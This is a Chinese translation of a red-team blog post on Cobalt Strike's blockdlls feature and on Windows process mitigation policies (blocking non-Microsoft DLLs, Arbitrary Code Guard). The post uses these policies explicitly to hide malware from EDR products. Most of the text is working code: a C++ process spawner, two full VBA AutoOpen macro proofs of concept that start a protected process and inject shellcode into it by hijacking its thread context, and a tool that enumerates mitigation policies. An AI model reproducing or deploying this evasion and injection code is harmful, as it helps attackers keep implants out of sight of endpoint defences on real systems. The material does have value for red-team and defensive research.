在Cobalt Strike
的近期更新中,加入了blockdlls
命令,它可在攻击者派生子进程时阻止第三方DLL的加载。这就使安全产品在进程创建时无法通过DLL加载进行监控和可疑情况上报。
在进行过几次内部原理的讨论后,我觉得有必要写一篇文章展示其用法和背后的原理,如何用它来保护我们的恶意软件,阻止安全软件的监控。
blockdlls
blockdlls
是在Cobalt Strike
的3.14版本中出现的,用于保护派生的子进程不受第三方DLL的干扰。使用这个功能很简单,我们只需在一个活动的会话中使用blockdlls
命令,然后派生一个子进程(使用spawn命令):
一旦我们的子进程出现,我们可以在ProcessHacker
中看到类似语句:
此时如果一个没有被微软签名的DLL试图加载到进程中,就会出现一个很详细的错误,例如:
那么,Cobalt Strike
是如何实现这一功能的呢?如果我们搜索CS beacon的二进制文件,你会看到对UpdateProcThreadAttribute
的引用:
上图中,0x20007
的Attribute
参数实际上和PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
有关,而0x100000000000
的值解析为PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
。可以看出,Cobalt Strike
调用了CreateProcess
API,其中涉及一个STARTUPINFOEX
结构体,该结构体包含一个安全策略,在这种情况下,该策略阻止了非微软签名的DLL加载。
如果我们想自己重现,可以利用以下代码:
#include <Windows.h> int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T size = 0; BOOL ret; // Required for a STARTUPINFOEXA ZeroMemory(&si, sizeof(si)); si.StartupInfo.cb = sizeof(STARTUPINFOEXA); si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT; // Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated InitializeProcThreadAttributeList(NULL, 1, 0, &size); // Allocate memory for PROC_THREAD_ATTRIBUTE_LIST si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( GetProcessHeap(), 0, size ); // Initialise our list InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); // Enable blocking of non-Microsoft signed DLLs DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; // Assign our attribute UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); // Finally, create the process ret = CreateProcessA( NULL, (LPSTR)"C:\\Windows\\System32\\cmd.exe", NULL, NULL, true, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&si), &pi ); }
进一步了解
现在我们知道了Cobalt Strike
如何实现该功能,但在渗透的某些阶段这个功能并不能覆盖,这就给了安全软件可乘之机。让我们看看一个常见的钓鱼场景,我们试图通过一个包含恶意宏的文档来进行beacon植入:
一般入侵流程中,在上图红色方框的部分,blockdlls
无法生效,但在蓝色方框中,我们可以看到由Cobalt Strike
所派生的每个子进程都受到了“安全”策略的保护。这里所面临的风险是安全产品会将其DLL加载到迁移进程(这里显示为Internet Explorer),检查其中是否有恶意活动。
不过,结合上述代码和PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
选项,我们可以较好地解决这个问题。
POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled ' by @_xpn_ ' ' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro Const EXTENDED_STARTUPINFO_PRESENT = &H80000 Const HEAP_ZERO_MEMORY = &H8& Const SW_HIDE = &H0& Const MAX_PATH = 260 Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007 Const MAXIMUM_SUPPORTED_EXTENSION = 512 Const SIZE_OF_80387_REGISTERS = 80 Const MEM_COMMIT = &H1000 Const MEM_RESERVE = &H2000 Const PAGE_READWRITE = &H4 Const PAGE_EXECUTE_READWRITE = &H40 Const CONTEXT_FULL = &H10007 Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As Long End Type Private Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As LongPtr End Type Private Type DWORD64 dwPart1 As Long dwPart2 As Long End Type Private Type FLOATING_S**E_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte Spare0 As Long End Type Private Type CONTEXT ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_S**E_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte End Type Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Long, _ lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As LongPtr, _ lpProcessInformation As PROCESS_INFORMATION _ ) As Long Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _ ) As Boolean Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByVal lpValue As LongPtr, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _ ) As Boolean Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ ByVal hProcess As LongPtr, _ ByVal lpba seAddress As Long, _ ByRef lpBuffer As Any, _ ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long _ ) As Boolean Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _ ) As Long Private Declare Function SetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _ ) As Long Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ ByVal hHeap As LongPtr, _ ByVal dwFlags As Long, _ ByVal dwBytes As Long _ ) As LongPtr Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr Private Declare Function VirtualAllocEx Lib "kernel32" ( _ ByVal hProcess As Long, _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long _ ) As Long Sub AutoOpen() Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFOEX Dim nullStr As String Dim pid, result As Integer Dim threadAttribSize As Integer Dim processPath As String Dim val As DWORD64 Dim ctx As CONTEXT Dim alloc As Long Dim shellcode As Variant Dim myByte As Long ' Shellcode goes here (jmp $) shellcode = Array(&HEB, &HFE) ' Path of process to spawn processPath = "C:\\windows\\system32\\notepad.exe" ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON val.dwPart1 = 0 val.dwPart2 = &H1000 ' Initialize process attribute list result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) ' Set our mitigation policy result = UpdateProcThreadAttribute( _ si.lpAttributelist, _ 0, _ PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _ VarPtr(val), _ Len(val), _ ByVal 0&, _ ByVal 0& _ ) si.STARTUPINFO.cb = LenB(si) si.STARTUPINFO.dwFlags = 1 ' Spawn our process which will only allow MS signed DLL's result = CreateProcess( _ nullStr, _ processPath, _ ByVal 0&, _ ByVal 0&, _ 1&, _ &H80014, _ ByVal 0&, _ nullStr, _ VarPtr(si), _ pi _ ) ' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to alloc = VirtualAllocEx( _ pi.hProcess, _ 0, _ 11000, _ MEM_COMMIT + MEM_RESERVE, _ PAGE_EXECUTE_READWRITE _ ) ' Write our shellcode For offset = LBound(shellcode) To UBound(shellcode) myByte = shellcode(offset) result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&) Next offset ' Point EIP register to allocated memory ctx.ContextFlags = CONTEXT_FULL result = GetThreadContext(pi.hThread, ctx) ctx.Eip = alloc result = SetThreadContext(pi.hThread, ctx) ' Resume execution ResumeThread (pi.hThread) End Sub
如果使用正确,我们可以看到安全软件所能检测的阶段减少了:
那么剩下的红色阶段呢?也还是有一些方法可以进行保护,例如,我们可以调用含有参数ProcessSignaturePolicy
的SetMitigationPolicy
,这也可以在运行时引入策略,也就是说,不需要通过CreateProcess
重新执行。然而,很可能在VBA文件运行之前,某些DLL就已经加载到Word的地址空间中了,某些危险操作会增加被检测到的机会。
任意代码保护
在阅读本文时,你可能没听过任意代码保护(ACG)。这是Windows系统的另一个安全策略,它可以阻止内存代码注入。
要查看这个策略的实际效果,先让我们创建一个小程序,并尝试使用SetMitigationPolicy
添加ACG:
#include <iostream> #include <Windows.h> #include <processthreadsapi.h> int main() { STARTUPINFOEX si; DWORD oldProtection; PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy; ZeroMemory(&policy, sizeof(policy)); policy.ProhibitDynamicCode = 1; void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem == NULL) { printf("[!] Error allocating RWX memory\n"); } else { printf("[*] RWX memory allocated: %p\n", mem); } printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n"); // Set our mitigation policy if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) { printf("[!] SetProcessMitigationPolicy failed\n"); return 0; } // Attempt to allocate RWX protected memory (this will fail) mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem == NULL) { printf("[!] Error allocating RWX memory\n"); } else { printf("[*] RWX memory allocated: %p\n", mem); } void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory"); // Let's also try a VirtualProtect to see if we can update an existing page to RWX if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) { printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWX\n", ntAllocateVirtualMemory); } else { printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory); } }
编译并执行后,我们会看到如下语句:
我们可以观察到在SetProcessMitigationPolicy
执行后,分配RWX内存页失败了。
为什么要提起这个?因为我们确实看到了一些EDR DLL被注入的例子,例如,@Sektor7Net向我们展示了Crowdstrike Falcon
中的某个DLL,它不受PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
的影响:
但是,很多EDR产品都会做的一件事就是根据某些功能在用户空间布置hook(相关文章)。由于hook通常需要修改现有的可执行page,添加Trampoline,所以通常需要调用VirtualProtect
来更新内存保护。如果我们移除它创建RWX内存页的能力,就能迫使一个Microsoft签名DLL加载失败。
要在我们的VBA代码中实现这一点,我们需要添加PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
选项,启用这种保护:
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled ' by @_xpn_ ' ' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro Const EXTENDED_STARTUPINFO_PRESENT = &H80000 Const HEAP_ZERO_MEMORY = &H8& Const SW_HIDE = &H0& Const MAX_PATH = 260 Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007 Const MAXIMUM_SUPPORTED_EXTENSION = 512 Const SIZE_OF_80387_REGISTERS = 80 Const MEM_COMMIT = &H1000 Const MEM_RESERVE = &H2000 Const PAGE_READWRITE = &H4 Const PAGE_EXECUTE_READWRITE = &H40 Const CONTEXT_FULL = &H10007 Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As Long End Type Private Type STARTUP_INFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Byte hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type STARTUPINFOEX STARTUPINFO As STARTUP_INFO lpAttributelist As LongPtr End Type Private Type DWORD64 dwPart1 As Long dwPart2 As Long End Type Private Type FLOATING_S**E_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte Spare0 As Long End Type Private Type CONTEXT ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_S**E_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte End Type Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _ ByVal lpApplicationName As String, _ ByVal lpCommandLine As String, _ lpProcessAttributes As Long, _ lpThreadAttributes As Long, _ ByVal bInheritHandles As Long, _ ByVal dwCreationFlags As Long, _ lpEnvironment As Any, _ ByVal lpCurrentDriectory As String, _ ByVal lpStartupInfo As LongPtr, _ lpProcessInformation As PROCESS_INFORMATION _ ) As Long Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwAttributeCount As Integer, _ ByVal dwFlags As Integer, _ ByRef lpSize As Integer _ ) As Boolean Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _ ByVal lpAttributelist As LongPtr, _ ByVal dwFlags As Integer, _ ByVal lpAttribute As Long, _ ByVal lpValue As LongPtr, _ ByVal cbSize As Integer, _ ByRef lpPreviousValue As Integer, _ ByRef lpReturnSize As Integer _ ) As Boolean Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _ ByVal hProcess As LongPtr, _ ByVal lpba seAddress As Long, _ ByRef lpBuffer As Any, _ ByVal nSize As Long, _ ByVal lpNumberOfBytesWritten As Long _ ) As Boolean Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _ ) As Long Private Declare Function SetThreadContext Lib "kernel32.dll" ( _ ByVal hThread As Long, _ lpContext As CONTEXT _ ) As Long Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _ ByVal hHeap As LongPtr, _ ByVal dwFlags As Long, _ ByVal dwBytes As Long _ ) As LongPtr Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr Private Declare Function VirtualAllocEx Lib "kernel32" ( _ ByVal hProcess As Long, _ ByVal lpAddress As Long, _ ByVal dwSize As Long, _ ByVal flAllocationType As Long, _ ByVal flProtect As Long _ ) As Long Sub AutoOpen() Dim pi As PROCESS_INFORMATION Dim si As STARTUPINFOEX Dim nullStr As String Dim pid, result As Integer Dim threadAttribSize As Integer Dim processPath As String Dim val As DWORD64 Dim ctx As CONTEXT Dim alloc As Long Dim shellcode As Variant Dim myByte As Long ' Shellcode goes here (jmp $) shellcode = Array(&HEB, &HFE) ' Path of process to spawn processPath = "C:\\windows\\system32\\notepad.exe" ' Initialize process attribute list result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize) si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize) result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize) ' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON ' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON val.dwPart1 = 0 val.dwPart2 = &H1010 ' Set our mitigation policy result = UpdateProcThreadAttribute( _ si.lpAttributelist, _ 0, _ PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _ VarPtr(val), _ Len(val), _ ByVal 0&, _ ByVal 0& _ ) si.STARTUPINFO.cb = LenB(si) si.STARTUPINFO.dwFlags = 1 ' Spawn our process which will only allow MS signed DLL's and disallow dynamic code result = CreateProcess( _ nullStr, _ processPath, _ ByVal 0&, _ ByVal 0&, _ 1&, _ &H80014, _ ByVal 0&, _ nullStr, _ VarPtr(si), _ pi _ ) ' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to alloc = VirtualAllocEx( _ pi.hProcess, _ 0, _ 11000, _ MEM_COMMIT + MEM_RESERVE, _ PAGE_EXECUTE_READWRITE _ ) ' Write our shellcode For Offset = LBound(shellcode) To UBound(shellcode) myByte = shellcode(Offset) result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&) Next Offset ' Point EIP register to allocated memory ctx.ContextFlags = CONTEXT_FULL result = GetThreadContext(pi.hThread, ctx) ctx.Eip = alloc result = SetThreadContext(pi.hThread, ctx) ' Resume execution ResumeThread (pi.hThread) End Sub
所以这对于保护我们正在派生的进程是很好的,但是如果当我们想将一些代码注入一个已经被ACG保护的进程时呢?我听到的一个常见的误解是,我们无法将代码注入到受ACG保护的进程中,我们还需要某种形式的可写和可执行的内存。但实际上,ACG并不阻止远程进程调用VirtuAllocEx
等函数。
例如,如果我们使用一些简单的shellcode去派生出cmd.exe,并将其注入到ACG保护的进程中:
应该注意的是,Cobalt Strike的beacon目前无法使用这种方法,因为依赖向RWX分配和修改内存页。我尝试了一些不同的可扩展配置文件选项来解决这个问题(主要和userwx
有关的选项),但目前看来不行。
操作事项
现在,我们要将这些策略进行整合。例如,在开始生成任意进程时,可以用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
进行保护。
我们还希望用某个策略枚举出所有的进程。通过Powershell命令Get-ProcessMigration
,我们可以知道注册表中定义的所有策略,而且我们也知道还有其他方法可以对进程进行保护,例如setMigrationPolicy
API,此外还可以通过CreateProcessA
生成任意进程。
为了确保正确地分析每个进程,我们需要一个简单的工具,如下工具将使用GetProcessMitigationPolicy
来识别策略的分配:
#include <iostream> #include <Windows.h> #include <tlhelp32.h> #include <processthreadsapi.h> bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege); void GetProtection(int pid, const char *exe) { PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy; PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy; HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid); if (pHandle == INVALID_HANDLE_VALUE) { printf("[!] Error opening handle to %d\n", pid); return; } // Actually retrieve the mitigation policy for ACG if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) { printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError()); return; } if (dynamicCodePolicy.ProhibitDynamicCode) { printf("[%s] - ProhibitDynamicCode\n", exe); } if (dynamicCodePolicy.AllowRemoteDowngrade) { printf("[%s] - AllowRemoteDowngrade\n", exe); } if (dynamicCodePolicy.AllowThreadOptOut) { printf("[%s] - AllowThreadOptOut\n", exe); } // Retrieve mitigation policy for loading arbitrary DLLs if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) { printf("Could not enum PID %d\n", pid); return; } if (signaturePolicy.AuditMicrosoftSignedOnly) { printf("[%s] AuditMicrosoftSignedOnly\n", exe); } if (signaturePolicy.AuditStoreSignedOnly) { printf("[%s] - AuditStoreSignedOnly\n", exe); } if (signaturePolicy.MicrosoftSignedOnly) { printf("[%s] - MicrosoftSignedOnly\n", exe); } if (signaturePolicy.MitigationOptIn) { printf("[%s] - MitigationOptIn\n", exe); } if (signaturePolicy.StoreSignedOnly) { printf("[%s] - StoreSignedOnly\n", exe); } } int main() { HANDLE snapshot; PROCESSENTRY32 ppe; HANDLE accessToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) { printf("[!] Error opening process token\n"); return 1; } // Provide ourself with SeDebugPrivilege to increase our enumeration chances SetPrivilege(accessToken, SE_DEBUG_NAME); // Prepare handle to enumerate running processes snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0); if (snapshot == INVALID_HANDLE_VALUE) { printf("[!] Error: CreateToolhelp32Snapshot\n"); return 2; } ppe.dwSize = sizeof(PROCESSENTRY32); Process32First(snapshot, &ppe); do { // Enumerate process mitigations GetProtection(ppe.th32ProcessID, ppe.szExeFile); } while (Process32Next(snapshot, &ppe)); } bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue( NULL, lpszPrivilege, &luid)) { printf("[!] LookupPrivilegeValue error: %u\n", GetLastError()); return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError()); return FALSE; } return TRUE; }
经过我对Windows 10的测试,发现已有几个进程应用了安全策略:
这些进程主要围绕Edge。当然我们也有许多其他选择,例如fontdrvhost.exe
和dllhost.exe
。
希望这篇文章能给你在渗透测试期间躲避安全软件的检测提供一些思路。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3131.html 来源:https://blog.xpnsec.com/protecting-your-malware/
来源:freebuf.com 2019-11-05 18:11:28 by: 白帽汇
请登录后发表评论
注册